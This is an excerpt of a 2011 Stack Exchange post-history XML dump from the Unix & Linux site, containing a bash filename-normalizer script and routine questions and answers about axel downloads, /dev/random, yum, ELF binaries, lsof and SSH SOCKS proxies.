's/£/font/g' | sed 's/¤/cur/g' | sed 's/¥/yen/g' | sed 's/ª/fem/g' | sed 's/®/r/g' | sed 's/²/2/g' | sed 's/³/3/g' | sed 's/µ/micro/g' | sed 's/©/c/g' | sed 's/¹/1/g' | sed 's/¼/1-4/g' | sed 's/½/1-2/g' | sed 's/¾/3-4/g' | sed 's/¿//g' | sed 's/[ÀÂÃÄÅ]/A/g' | sed 's/Æ/AE/g' | sed 's/Ç/C/g' | sed 's/[ÈÊË]/E/g' | sed 's/[ÌÎÏ]/I/g' | sed 's/Ð/E/g' | sed 's/Ñ/N/g' | sed 's/[ÒÔÕ]/O/g' | sed 's/×/x/g' | sed 's/Ø/O/g' | sed 's/[ÙÚÛÜ]/U/g' | sed 's/Ý/Y/g' | sed 's/Þ/T/g' | sed 's/ß/B/g' | sed 's/[àâãäå]/a/g' | sed 's/æ/ae/g' | sed 's/ç/c/g' | sed 's/[èêë]/e/g' | sed 's/[ìîï]/i/g' | sed 's/ð/o/g' | sed 's/ñ/n/g' | sed 's/[òôõ]/o/g' | sed 's/÷/div/g' | sed 's/ø/o/g' | sed 's/[ùû]/u/g' | sed 's/[ýÿ]/y/g' | sed 's/þ/t/g'); mv &quot;$FOLDERNAME2$FILENAME&quot; &quot;$FOLDERNAME2$NEWNAME&quot; 2&gt;&amp;1 | egrep -v 'are the sa| to a subdirectory of'; done&#xD;&#xA;&#xD;&#xA;	# remove dots, only leave one at the end, like: &quot;some.thin.g.txt&quot; -&gt; &quot;some-thin-g.txt&quot;&#xD;&#xA;	FOLDERNAME2=$(echo &quot;$FOLDERNAME&quot; | sed &quot;s/$/\//g&quot; | sed &quot;s/\/\/$/\//g&quot;)&#xD;&#xA;	ls &quot;$FOLDERNAME&quot; | while read FILENAME; do NEWNAME=$(echo -n &quot;$FILENAME&quot; | sed ':a /\..*\./ {s/\./-/}; t a' | sed 's/-tar./.tar./g'); mv &quot;$FOLDERNAME2$FILENAME&quot; &quot;$FOLDERNAME2$NEWNAME&quot; 2&gt;&amp;1 | egrep -v 'are the sa| to a subdirectory of'; done&#xD;&#xA;&#xD;&#xA;	# lowercase&#xD;&#xA;	FOLDERNAME2=$(echo &quot;$FOLDERNAME&quot; | sed &quot;s/$/\//g&quot; | sed &quot;s/\/\/$/\//g&quot;)&#xD;&#xA;	ls &quot;$FOLDERNAME&quot; | while read FILENAME; do NEWNAME=$(echo -n &quot;$FILENAME&quot; | tr [AÁBCDEÉFGHIÍJKLMNOÓÖŐPQRSTUÚÜŰVWXYZ] [aábcdeéfghiíjklmnoóöőpqrstuúüűvwxyz]); mv &quot;$FOLDERNAME2$FILENAME&quot; &quot;$FOLDERNAME2$NEWNAME&quot; 2&gt;&amp;1 | egrep -v 'are the sa| to a subdirectory of'; done&#xD;&#xA;&#xD;&#xA;	# remove unneeded chars [e.g.: &quot;-is--this----something-.mp3&quot; -&gt; &quot;is-this-something.mp3&quot;]&#xD;&#xA;	FOLDERNAME2=$(echo &quot;$FOLDERNAME&quot; | sed &quot;s/$/\//g&quot; | sed &quot;s/\/\/$/\//g&quot;)&#xD;&#xA;	ls &quot;$FOLDERNAME&quot; | while read FILENAME; do NEWNAME=$(echo -n &quot;$FILENAME&quot; | sed &quot;s/-*-/-/g&quot; | sed 's/^-//g' | sed 's/-$//g' | sed 's/-\./\./g' | sed 's/^-//g'); mv &quot;$FOLDERNAME2$FILENAME&quot; &quot;$FOLDERNAME2$NEWNAME&quot; 2&gt;&amp;1 | egrep -v 'are the sa| to a subdirectory of'; done&#xD;&#xA;&#xD;&#xA;	# first letter to capital and first letter to capital if: &quot;[0-9]*-[a-z]something.txt&quot;, like: &quot;01-this-is-the-file.txt&quot; -&gt; &quot;01-This-is-the-file.txt&quot;&#xD;&#xA;	FOLDERNAME2=$(echo &quot;$FOLDERNAME&quot; | sed &quot;s/$/\//g&quot; | sed &quot;s/\/\/$/\//g&quot;)&#xD;&#xA;	ls &quot;$FOLDERNAME&quot; | while read FILENAME; do NEWNAME=$(echo -n &quot;$FILENAME&quot; | sed -e &quot;s/^./\U&amp;/&quot; | sed -e &quot;s/^[0-9]*-[a-z]/\U&amp;/&quot;); mv &quot;$FOLDERNAME2$FILENAME&quot; &quot;$FOLDERNAME2$NEWNAME&quot; 2&gt;&amp;1 | egrep -v 'are the sa| to a subdirectory of'; done&#xD;&#xA;&#xD;&#xA;			done&#xD;&#xA;		done&#xD;&#xA;&#xD;&#xA;	echo done&#xD;&#xA;&#xD;&#xA;Does someone know a better &quot;filename normalizer&quot;, that works recursively in the given directory?&#xD;&#xA;&#xD;&#xA;TODO: if theres e.g.: a &quot;'.txt&quot; file in the folder, then it deletes it!!&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="34388" PostHistoryTypeId="1" PostId="13765" RevisionGUID="9e67e30b-6f8e-41e4-a257-b29f6c62d14c" CreationDate="2011-05-25T15:04:45.267" UserId="6960" Text="Filename normalizer script" />
  <row Id="34389" PostHistoryTypeId="3" PostId="13765" RevisionGUID="9e67e30b-6f8e-41e4-a257-b29f6c62d14c" CreationDate="2011-05-25T15:04:45.267" UserId="6960" Text="élinuxà" />
  <row Id="34390" PostHistoryTypeId="25" PostId="13762" RevisionGUID="97399b1d-b2b0-4387-81b0-29ef1cb6f5b5" CreationDate="2011-05-25T15:12:43.177" Comment="http://twitter.com/#!/StackUnix/status/73406142138691584" />
  <row Id="34391" PostHistoryTypeId="2" PostId="13766" RevisionGUID="5e482fdb-d224-4018-8c36-928ce470440c" CreationDate="2011-05-25T15:17:04.497" UserId="6960" Text="This website is great!&#xD;&#xA;&#xD;&#xA;http://centricle.com/tools/html-entities/&#xD;&#xA;&#xD;&#xA;Are there any scripts that can do the same? Or at least a PHP file?" />
  <row Id="34392" PostHistoryTypeId="1" PostId="13766" RevisionGUID="5e482fdb-d224-4018-8c36-928ce470440c" CreationDate="2011-05-25T15:17:04.497" UserId="6960" Text="How to convert to HTML code?" />
  <row Id="34393" PostHistoryTypeId="3" PostId="13766" RevisionGUID="5e482fdb-d224-4018-8c36-928ce470440c" CreationDate="2011-05-25T15:17:04.497" UserId="6960" Text="ébashàéshellöscriptàéphpà" />
  <row Id="34394" PostHistoryTypeId="5" PostId="13762" RevisionGUID="bd08c37a-8268-415a-9808-fad81664ff5a" CreationDate="2011-05-25T15:19:43.600" UserId="73" Comment="deleted 139 characters in body" Text="If I'm using Firefox and filling out a big form (with lots of text to write), and for some reason I accidentally press &lt;kbd&gt;F5&lt;/kbd&gt; and all my text in the forms is lost, I can use e.g. [HxD](http://mh-nexus.de/en/hxd/) on Windows to retrieve the text, because they're still in memory. How can I do the same under Linux? (e.g. Fedora)" />
  <row Id="34395" PostHistoryTypeId="4" PostId="13762" RevisionGUID="c2c5380a-5812-4220-9006-80a3de7eef91" CreationDate="2011-05-25T15:23:22.437" UserId="6960" Comment="edited title" Text="Solution to get data from memory of a process" />
  <row Id="34396" PostHistoryTypeId="5" PostId="13764" RevisionGUID="0ef1c0b3-e5aa-47a9-8de5-d80cf44ab605" CreationDate="2011-05-25T15:25:04.443" UserId="73" Comment="added 55 characters in body" Text="If I run:&#xD;&#xA;&#xD;&#xA;    ssh -fND localhost:6000 USERNAME@IPADDRESS -p PORTNUMBER&#xD;&#xA;&#xD;&#xA;and I set my webbrowser to use 127.0.0.1:6000 SOCKS5 proxy, is there a way for the remote SSH server to monitor my web traffic?&#xD;&#xA;&#xD;&#xA;I've seen [this post](http://unix.stackexchange.com/questions/12499/iptables-pf-rule-to-only-allow-xy-application-user/12507#12507) that allows traffic to be monitored on a per-user basis, but what can they do if there is only 1 SSH user, and that 1 SSH user is used by many people behind 1 public IP address/NATed network?&#xD;&#xA;&#xD;&#xA;I know that if I don't set `network.proxy.socks_remote_dns` to `true` in Firefox then they can see my DNS traffic, because it's resolved in my side, but I'm wondering about all the other traffic that goes through the proxy server" />
  <row Id="34397" PostHistoryTypeId="5" PostId="13764" RevisionGUID="3560e12f-153c-4560-a079-4852bc784d1a" CreationDate="2011-05-25T15:29:59.703" UserId="6960" Comment="added 58 characters in body" Text="If I run:&#xD;&#xA;&#xD;&#xA;    ssh -fND localhost:6000 USERNAME@IPADDRESS -p PORTNUMBER&#xD;&#xA;&#xD;&#xA;and I set my webbrowser to use 127.0.0.1:6000 SOCKS5 proxy, is there a way for the remote SSH server to monitor my web traffic?&#xD;&#xA;&#xD;&#xA;I've seen [this post](http://unix.stackexchange.com/questions/12499/iptables-pf-rule-to-only-allow-xy-application-user/12507#12507) that allows traffic to be monitored on a per-user basis, but what can they do if there is only 1 SSH user, and that 1 SSH user is used by many people behind 1 public IP address/NATed network?&#xD;&#xA;&#xD;&#xA;I know that if I don't set `network.proxy.socks_remote_dns` to `true` in Firefox then they can see my DNS traffic, because it's resolved in my side.&#xD;&#xA;&#xD;&#xA;So the Q: What are the methods to monitor traffic on the remote SSH server if there is only 1 ssh user with many &quot;real&quot; users using it?" />
  <row Id="34398" PostHistoryTypeId="5" PostId="13766" RevisionGUID="3d07469d-4527-4668-a616-85cb7db48db0" CreationDate="2011-05-25T15:33:14.680" UserId="73" Comment="added 67 characters in body" Text="Are there any scripts that can convert between text (e.g. `&lt;hi&gt;`) and the html entities version (`&amp;lt;hi&amp;gt;`) like [this website](http://centricle.com/tools/html-entities/) does? Or at least a PHP file?&#xD;&#xA;" />
  <row Id="34399" PostHistoryTypeId="2" PostId="13767" RevisionGUID="862cfb02-7c1e-44b4-a00c-0026c0fe96c6" CreationDate="2011-05-25T15:47:23.203" UserId="7762" Text="Hi everyone. This is my first post on Unix &amp; Linux.&#xD;&#xA;&#xD;&#xA;I was downloading a 4.0 GB software using axel. When it reached 98%, it displays, &quot;Write Error.&quot;. I still have 30+ GB of free disk space.&#xD;&#xA;&#xD;&#xA;I tried to run axel again. It gives &quot;Write Error&quot; again. Here is the actual display:&#xD;&#xA;&#xD;&#xA;    State file found: 4251724925 bytes downloaded, 62428035 to go.&#xD;&#xA;    Starting download&#xD;&#xA;&#xD;&#xA;    ,,,,,,,,,, ,,,,,,,,,, ,,,,,.....&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Write error!&#xD;&#xA;&#xD;&#xA;    Downloaded 5.0 kilobytes in 0 seconds. (0.00 KB/s)&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="34400" PostHistoryTypeId="1" PostId="13767" RevisionGUID="862cfb02-7c1e-44b4-a00c-0026c0fe96c6" CreationDate="2011-05-25T15:47:23.203" UserId="7762" Text="Linux axel write error" />
  <row Id="34401" PostHistoryTypeId="3" PostId="13767" RevisionGUID="862cfb02-7c1e-44b4-a00c-0026c0fe96c6" CreationDate="2011-05-25T15:47:23.203" UserId="7762" Text="élinuxà" />
  <row Id="34402" PostHistoryTypeId="2" PostId="13768" RevisionGUID="ce354f20-57ea-4ec8-8c99-f84771b29a30" CreationDate="2011-05-25T15:49:04.793" UserId="3389" Text="FAT32 has a 4Gbyte limit for files.  If you're saving this to a FAT32 partition or flash drive this could be an issue." />
  <row Id="34403" PostHistoryTypeId="5" PostId="13767" RevisionGUID="aa420585-913e-4ea3-bcb0-fabe5ef6f066" CreationDate="2011-05-25T15:56:08.697" UserId="73" Comment="deleted 49 characters in body; edited tags" Text="I was downloading a 4.0 GB file using axel. When it reached 98%, it displayed &quot;Write Error&quot;. I still have 30+ GB of free disk space.&#xD;&#xA;&#xD;&#xA;I tried to run axel again, and got &quot;Write Error&quot; again. Here is the actual display:&#xD;&#xA;&#xD;&#xA;    State file found: 4251724925 bytes downloaded, 62428035 to go.&#xD;&#xA;    Starting download&#xD;&#xA;&#xD;&#xA;    ,,,,,,,,,, ,,,,,,,,,, ,,,,,.....&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Write error!&#xD;&#xA;&#xD;&#xA;    Downloaded 5.0 kilobytes in 0 seconds. (0.00 KB/s)&#xD;&#xA;&#xD;&#xA;How can I fix this?" />
  <row Id="34404" PostHistoryTypeId="6" PostId="13767" RevisionGUID="aa420585-913e-4ea3-bcb0-fabe5ef6f066" CreationDate="2011-05-25T15:56:08.697" UserId="73" Comment="deleted 49 characters in body; edited tags" Text="élinuxàédownloadàéaxelà" />
  <row Id="34405" PostHistoryTypeId="2" PostId="13769" RevisionGUID="331efc51-342a-4a09-8454-047745f04977" CreationDate="2011-05-25T16:06:00.183" UserId="1946" Text="I'd try something like this:&#xD;&#xA;&#xD;&#xA;    strings /proc/$PID/mem | grep $MYTEXT&#xD;&#xA;&#xD;&#xA;Where `$PID` is process id of your running browser program and `$MYTEXT` is a substring of the text you remember typing in.&#xD;&#xA;" />
  <row Id="34406" PostHistoryTypeId="2" PostId="13770" RevisionGUID="76c4596a-787b-4ade-a84a-d228112fad4d" CreationDate="2011-05-25T16:21:32.033" UserId="2644" Text="Which version are you using? You might have been hit by [this bug][1] if the version you've installed is too old to include its patch.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://alioth.debian.org/tracker/index.php?func=detail&amp;aid=311324" />
  <row Id="34407" PostHistoryTypeId="23" PostId="13628" RevisionGUID="c161cb1b-df5f-4145-b241-6e122edc45f3" CreationDate="2011-05-25T16:27:45.273" UserId="2609" />
  <row Id="34408" PostHistoryTypeId="5" PostId="13673" RevisionGUID="77769cac-27bd-4a52-8d93-b2d642edb62b" CreationDate="2011-05-25T16:28:49.143" UserId="73" Comment="added 6 characters in body" Text="Services are usually meant to run as root. However, you have 2 options:&#xD;&#xA;&#xD;&#xA;1. You have some sort of script that launches the service as that user. There are a few ways to accomplish this. You could do the following:&#xD;&#xA;&#xD;&#xA;        sudo -u debian-tor /etc/init.d/service&#xD;&#xA;&#xD;&#xA;    and then add debian-tor to the sudoer's file for this command&#xD;&#xA;&#xD;&#xA;2. You can use the stop-start-daemon with the --chuid option.  " />
  <row Id="34410" PostHistoryTypeId="5" PostId="13727" RevisionGUID="686ac1b3-ddd4-4829-be11-d0b05ff224c8" CreationDate="2011-05-25T16:32:49.627" UserId="6297" Comment="added 348 characters in body" Text="I am trying to reinstall yum in `CentOS`. Because make some mistake by removing python.&#xD;&#xA;&#xD;&#xA;    so I got error as follows&#xD;&#xA;    There was a problem importing one of the Python modules&#xD;&#xA;    required to run yum. The error leading to this problem was:&#xD;&#xA;    &#xD;&#xA;       No module named rpm&#xD;&#xA;    &#xD;&#xA;    Please install a package which provides this module, or&#xD;&#xA;    verify that the module is installed correctly.&#xD;&#xA;    &#xD;&#xA;    It's possible that the above module doesn't match the&#xD;&#xA;    current version of Python, which is:&#xD;&#xA;    2.4.3 (#1, Nov 11 2010, 13:34:43) &#xD;&#xA;    [GCC 4.1.2 20080704 (Red Hat 4.1.2-48)]&#xD;&#xA;    &#xD;&#xA;    If you cannot solve this problem yourself, please go to &#xD;&#xA;    the yum faq at:&#xD;&#xA;      http://wiki.linux.duke.edu/YumFaq&#xD;&#xA;&#xD;&#xA;And than follow some tutorial from http://www.electrictoolbox.com/install-yum-with-rpm-on-centos/&#xD;&#xA;But I got an error while trying to install python libs&#xD;&#xA;&#xD;&#xA;    error: Failed dependencies:&#xD;&#xA;    	python &lt; 2.4.3-32.el5 conflicts with python-libs-2.4.3-43.el5.i386&#xD;&#xA;&#xD;&#xA;How can I fix this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;    rpm -qa|grep python&#xD;&#xA;    python-iniparse-0.2.3-4.el5&#xD;&#xA;    python-2.4.3-27.el5_5.3&#xD;&#xA;    libselinux-python-1.33.4-5.5.el5&#xD;&#xA;    gamin-python-0.1.7-8.el5&#xD;&#xA;    python-elementtree-1.2.6-5&#xD;&#xA;    python-urlgrabber-3.1.0-6.el5&#xD;&#xA;    audit-libs-python-1.7.17-3.el5&#xD;&#xA;    libxml2-python-2.6.26-2.1.2.8.el5_5.1&#xD;&#xA;    python-sqlite-1.1.7-1.2.1" />
  <row Id="34411" PostHistoryTypeId="2" PostId="13771" RevisionGUID="d85b7ab0-bef9-4e46-b5ba-f5a08db5e4ba" CreationDate="2011-05-25T16:32:51.623" UserId="2343" Text="I get **wildly** different `real times` when I run the following command.&#xD;&#xA;&#xD;&#xA;    dd if=/dev/random bs=1k count=1 &#xD;&#xA;&#xD;&#xA;It doesn' happen for `if=/dev/null`, nor does it happen for `if=/dev/urandom`   &#xD;&#xA;&#xD;&#xA;I've run it 500 times. Here are the general stats (per call). The times are in seconds.&#xD;&#xA;    &#xD;&#xA;    Minimum   Maximum  Average   Median&#xD;&#xA;    00.002    89.999   4.50402   2.275 &#xD;&#xA;&#xD;&#xA;Does anyone have any suggestions about why this may be happening?   &#xD;&#xA;The system is Ubuntu 10.04 desktop. Bash version is 4.1.5(1)  &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is the actual test code  &#xD;&#xA;&#xD;&#xA;    cp /dev/null &quot;$HOME/dd-random.secs&quot; &#xD;&#xA;    for ((i=100;i&lt;=500;i++)); do&#xD;&#xA;        if   ((i&lt;10))  ;then zi=&quot;00$i&quot;&#xD;&#xA;        elif ((i&lt;100)) ;then zi=&quot;0$i&quot;&#xD;&#xA;        fi &#xD;&#xA;        echo -ne &quot;$zi\t&quot; &gt;&gt;&quot;$HOME/dd-random.secs&quot;&#xD;&#xA;        exec 3&gt;/dev/null 4&gt;/dev/null&#xD;&#xA;            { time { dd if=/dev/random bs=1k count=1; } 1&gt;&amp;3 2&gt;&amp;4; } 2&gt;&amp;1 |tail -n 3|tr 'm\n' '\t' |sed -re &quot;s/([0-9])s/\1/g&quot; &gt;&gt;&quot;$HOME/dd-random.secs&quot; &#xD;&#xA;        exec 3&gt;&amp;- 4&gt;&amp;-&#xD;&#xA;        echo &gt;&gt;&quot;$HOME/dd-random.secs&quot;&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="34412" PostHistoryTypeId="1" PostId="13771" RevisionGUID="d85b7ab0-bef9-4e46-b5ba-f5a08db5e4ba" CreationDate="2011-05-25T16:32:51.623" UserId="2343" Text="dd if=/dev/random is 'randomly' bottlenecked with BIG time lags, but I have no idea why" />
  <row Id="34413" PostHistoryTypeId="3" PostId="13771" RevisionGUID="d85b7ab0-bef9-4e46-b5ba-f5a08db5e4ba" CreationDate="2011-05-25T16:32:51.623" UserId="2343" Text="éperformanceàérandomà" />
  <row Id="34414" PostHistoryTypeId="2" PostId="13772" RevisionGUID="929b0e9c-aea5-4266-82d9-ed9ae80cda9e" CreationDate="2011-05-25T16:38:58.053" UserId="73" Text="That's exactly the difference between `/dev/random` and `/dev/urandom` -- `random` guarantees the output will actually be random, but that means it might need to block if there isn't enough random data available. `urandom` never blocks, but you might get &quot;less&quot; random data from it.&#xD;&#xA;&#xD;&#xA;From the `urandom(1)` man page:&#xD;&#xA;&#xD;&#xA;&gt; When read, the /dev/random device will only return random bytes within the estimated number of  bits of noise in the entropy pool. /dev/random should be suitable for uses that need very high quality randomness such as one-time pad or key generation. When the entropy pool is empty, reads from /dev/random will block until additional environmental noise is gathered.&#xD;&#xA;&#xD;&#xA;&gt; A read from the /dev/urandom device will not block waiting for more entropy.  As a result, if there is not sufficient entropy in the entropy pool, the returned values are theoretically vulnerable to a cryptographic attack on the algorithms used by the driver.&#xD;&#xA;" />
  <row Id="34415" PostHistoryTypeId="2" PostId="13773" RevisionGUID="2e79a29e-ea77-42c1-9c4b-60ef7055644f" CreationDate="2011-05-25T16:40:57.977" UserId="7760" Text="From http://en.wikipedia.org/wiki//dev/random#Linux:&#xD;&#xA;&#xD;&#xA;&quot;When the entropy pool is empty, reads from /dev/random will block until additional environmental noise is gathered.&quot;&#xD;&#xA;&#xD;&#xA;Edit:  Looks like Michael beat me to it!" />
  <row Id="34416" PostHistoryTypeId="5" PostId="13771" RevisionGUID="6724cc74-a5f4-4cb8-b231-3e238c0f0df1" CreationDate="2011-05-25T16:53:05.733" UserId="2343" Comment="added 142 characters in body" Text="I get **wildly** different `real times` when I run the following command.&#xD;&#xA;&#xD;&#xA;    dd if=/dev/random bs=1k count=1 &#xD;&#xA;&#xD;&#xA;It doesn' happen for `if=/dev/null`, nor does it happen for `if=/dev/urandom`   &#xD;&#xA;&#xD;&#xA;I've run it 500 times. Here are the general stats (per call). The times are in seconds.&#xD;&#xA;    &#xD;&#xA;    Minimum   Maximum  Average   Median&#xD;&#xA;    00.002    89.999   4.50402   2.275 &#xD;&#xA;&#xD;&#xA;Does anyone have any suggestions about why this may be happening?   &#xD;&#xA;The system is Ubuntu 10.04 desktop. Bash version is 4.1.5(1)  &#xD;&#xA;It also shows the similar wild fluctuations in a VirtualBox VM running the same version of Ubuntu.    &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is the actual test code  &#xD;&#xA;&#xD;&#xA;    cp /dev/null &quot;$HOME/dd-random.secs&quot; &#xD;&#xA;    for ((i=100;i&lt;=500;i++)); do&#xD;&#xA;        if   ((i&lt;10))  ;then zi=&quot;00$i&quot;&#xD;&#xA;        elif ((i&lt;100)) ;then zi=&quot;0$i&quot;&#xD;&#xA;        else                 zi=&quot;$i&quot;&#xD;&#xA;        fi &#xD;&#xA;        echo -ne &quot;$zi\t&quot; &gt;&gt;&quot;$HOME/dd-random.secs&quot;&#xD;&#xA;        exec 3&gt;/dev/null 4&gt;/dev/null&#xD;&#xA;            { time { dd if=/dev/random bs=1k count=1; } 1&gt;&amp;3 2&gt;&amp;4; } 2&gt;&amp;1 |tail -n 3|tr 'm\n' '\t' |sed -re &quot;s/([0-9])s/\1/g&quot; &gt;&gt;&quot;$HOME/dd-random.secs&quot; &#xD;&#xA;        exec 3&gt;&amp;- 4&gt;&amp;-&#xD;&#xA;        echo &gt;&gt;&quot;$HOME/dd-random.secs&quot;&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="34417" PostHistoryTypeId="2" PostId="13774" RevisionGUID="184d90c1-e2bf-4cf5-bbc9-f926853cbf19" CreationDate="2011-05-25T16:58:36.030" UserId="3447" Text="Whenever I run file on an ELF binary I get this output:&#xD;&#xA;&#xD;&#xA;    [jonescb@localhost ~]$ file a.out&#xD;&#xA;    a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for&#xD;&#xA;    GNU/Linux 2.6.9, dynamically linked (uses shared libs), for GNU/Linux 2.6.9, &#xD;&#xA;    not stripped&#xD;&#xA;&#xD;&#xA;I'm just wondering what changed in Linux 2.6.9 that this binary couldn't run on 2.6.8?&#xD;&#xA;Wasn't ELF support added in Linux 2.0?  I'm no expert on the history of the kernel though." />
  <row Id="34418" PostHistoryTypeId="1" PostId="13774" RevisionGUID="184d90c1-e2bf-4cf5-bbc9-f926853cbf19" CreationDate="2011-05-25T16:58:36.030" UserId="3447" Text="Why does the file command say that ELF binaries are for Linux 2.6.9?" />
  <row Id="34419" PostHistoryTypeId="3" PostId="13774" RevisionGUID="184d90c1-e2bf-4cf5-bbc9-f926853cbf19" CreationDate="2011-05-25T16:58:36.030" UserId="3447" Text="éfilesàéelfà" />
  <row Id="34420" PostHistoryTypeId="2" PostId="13775" RevisionGUID="04e84188-da6d-4f34-80ac-15fb17fc12d1" CreationDate="2011-05-25T17:07:33.913" UserId="1170" Text="You can use the [R programming language](http://en.wikipedia.org/wiki/R_%28programming_language%29):&#xD;&#xA;&#xD;&#xA;    $ DATA=&quot;6 2 4 3 1&quot;&#xD;&#xA;    $ R --slave &lt;&lt; EOF&#xD;&#xA;    d &lt;- scan()&#xD;&#xA;    $DATA&#xD;&#xA;    &#xD;&#xA;    summary(d)&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;The empty line after `$DATA` is necessary for `scan()` to recognize end of input.&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    Read 5 items&#xD;&#xA;       Min. 1st Qu.  Median    Mean 3rd Qu.    Max. &#xD;&#xA;        1.0     2.0     3.0     3.2     4.0     6.0 &#xD;&#xA;&#xD;&#xA;Also works for floating points:&#xD;&#xA;&#xD;&#xA;    $ DATA=&quot;6.1 2.2 4.3 3.4 1.5&quot;&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    Read 5 items&#xD;&#xA;       Min. 1st Qu.  Median    Mean 3rd Qu.    Max. &#xD;&#xA;        1.5     2.2     3.4     3.5     4.3     6.1 &#xD;&#xA;&#xD;&#xA;Alternatively:&#xD;&#xA;&#xD;&#xA;    $ R --slave &lt;&lt; EOF&#xD;&#xA;    d &lt;- scan()&#xD;&#xA;    $DATA&#xD;&#xA;    &#xD;&#xA;    min(d)&#xD;&#xA;    max(d)&#xD;&#xA;    mean(d)&#xD;&#xA;    median(d)&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    Read 5 items&#xD;&#xA;    [1] 1.5&#xD;&#xA;    [1] 6.1&#xD;&#xA;    [1] 3.5&#xD;&#xA;    [1] 3.4&#xD;&#xA;&#xD;&#xA;I am certain that it is possible to format the output to be nicer, but I am far from an R expert. You will have to look that up yourself." />
  <row Id="34421" PostHistoryTypeId="2" PostId="13776" RevisionGUID="28d472fe-e8fb-41e4-abd3-7faff1758861" CreationDate="2011-05-25T17:09:51.183" UserId="6080" Text="Given file path, how can I determine which process creates it (and/or reads/writes to it)?" />
  <row Id="34422" PostHistoryTypeId="1" PostId="13776" RevisionGUID="28d472fe-e8fb-41e4-abd3-7faff1758861" CreationDate="2011-05-25T17:09:51.183" UserId="6080" Text="Determine which process is creating a file" />
  <row Id="34423" PostHistoryTypeId="3" PostId="13776" RevisionGUID="28d472fe-e8fb-41e4-abd3-7faff1758861" CreationDate="2011-05-25T17:09:51.183" UserId="6080" Text="éfilesystemsàéprocessàéfilesà" />
  <row Id="34424" PostHistoryTypeId="2" PostId="13777" RevisionGUID="e28b9d24-9611-4e18-a914-9bafc4597bc2" CreationDate="2011-05-25T17:41:02.340" UserId="4671" Text="I checked on the web, and (on the assumption that you are using Centos 5.5, which you have not confirmed), 2.4.3-32 corresponds to 5.5, but 2.4.3-43 corresponds to 5.6.&#xD;&#xA;&#xD;&#xA;You presumably want to update to 5.6. So get python 2.4.3-43 and upgrade to that using `rpm -Uvh`. [This link](http://pkgs.org/centos-5-rhel-5/centos-rhel-i386/python-2.4.3-43.el5.i386.rpm.html) will probably work. You can use a [direct link](http://mirror.centos.org/centos/5/os/i386/CentOS/python-2.4.3-43.el5.i386.rpm) if you want. If that works, try installing python-libs as you did earlier." />
  <row Id="34425" PostHistoryTypeId="2" PostId="13778" RevisionGUID="79f6dd73-d575-4bda-909b-8878cbc792cd" CreationDate="2011-05-25T18:02:06.253" UserId="5824" Text="The perl CGI module has a `escapeHTML` function that makes it pretty easy:&#xD;&#xA;&#xD;&#xA;    perl -e 'use CGI qw(escapeHTML); print escapeHTML(&quot;&lt;hi&gt;\n&quot;);'&#xD;&#xA;&#xD;&#xA;Or to do an entire file:&#xD;&#xA;&#xD;&#xA;    perl -p -e 'BEGIN { use CGI qw(escapeHTML); } $_ = escapeHTML($_);'  FILENAME&#xD;&#xA;" />
  <row Id="34426" PostHistoryTypeId="2" PostId="13779" RevisionGUID="2c616971-9d07-4d35-936c-75a7b50b791c" CreationDate="2011-05-25T18:07:59.203" UserId="732" Text="I actually keep a little awk program around to give the sum, data count, minimum datum, maximum datum, mean and median of a single column of numeric data:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    sort -n |&#xD;&#xA;    awk 'BEGIN{c=0;sum=0;}\&#xD;&#xA;    /^[^#]/{a[c++]=$1;sum+=$1;}\&#xD;&#xA;    END{ave=sum/c;\&#xD;&#xA;    if((c%2)==1){median=a[int(c/2)];}\&#xD;&#xA;    else{median=(a[c/2]+a[c/2-1])/2;}\&#xD;&#xA;    print sum,&quot;\t&quot;,c,&quot;\t&quot;,ave,&quot;\t&quot;,median,&quot;\t&quot;,a[0],&quot;\t&quot;,a[c-1]}'&#xD;&#xA;&#xD;&#xA;The above script reads from stdin, and prints tab-separated columns of output on a single line.&#xD;&#xA;" />
  <row Id="34427" PostHistoryTypeId="25" PostId="13771" RevisionGUID="7194e471-cc11-4701-b597-7ffaca5eb336" CreationDate="2011-05-25T18:13:07.800" Comment="http://twitter.com/#!/StackUnix/status/73451543243915264" />
  <row Id="34428" PostHistoryTypeId="2" PostId="13780" RevisionGUID="ac3f736b-bef6-46bb-b67d-b1f5627b7949" CreationDate="2011-05-25T18:19:18.800" UserId="73" Text="`glibc` has a configure option called `--enable-kernel` that lets you specify the minimum supported kernel version. When object files are linked with that glibc build, the linker adds a SHT_NOTE section to the resulting object file named `.note.ABI-tag` that includes that minimum kernel version. The exact format is defined in the [LSB](http://refspecs.freestandards.org/LSB_1.2.0/gLSB/noteabitag.html), and `file` knows to look for that section and how to interpret it.&#xD;&#xA;&#xD;&#xA;The reason your particular glibc was built to require 2.6.9 depends on who built it. It's the same on my system (Gentoo); a comment in the glibc ebuild says that it specifies 2.6.9 because it's the minimum required for the [NPTL](http://en.wikipedia.org/wiki/Native_POSIX_Thread_Library), so that's likely a common choice. Another one that [seems to come up](http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=%22for+GNU/Linux+2.4.1%22) is 2.4.1, because it was the minimum required for [LinuxThreads](http://cristal.inria.fr/~xleroy/linuxthreads/), the package used before NPTL" />
  <row Id="34429" PostHistoryTypeId="2" PostId="13781" RevisionGUID="bc75d220-5e12-49b6-801d-ff108adcda2f" CreationDate="2011-05-25T18:24:23.177" UserId="7766" Text="    lsof |grep (filename)&#xD;&#xA;&#xD;&#xA;This will show you the process that is currently using the file." />
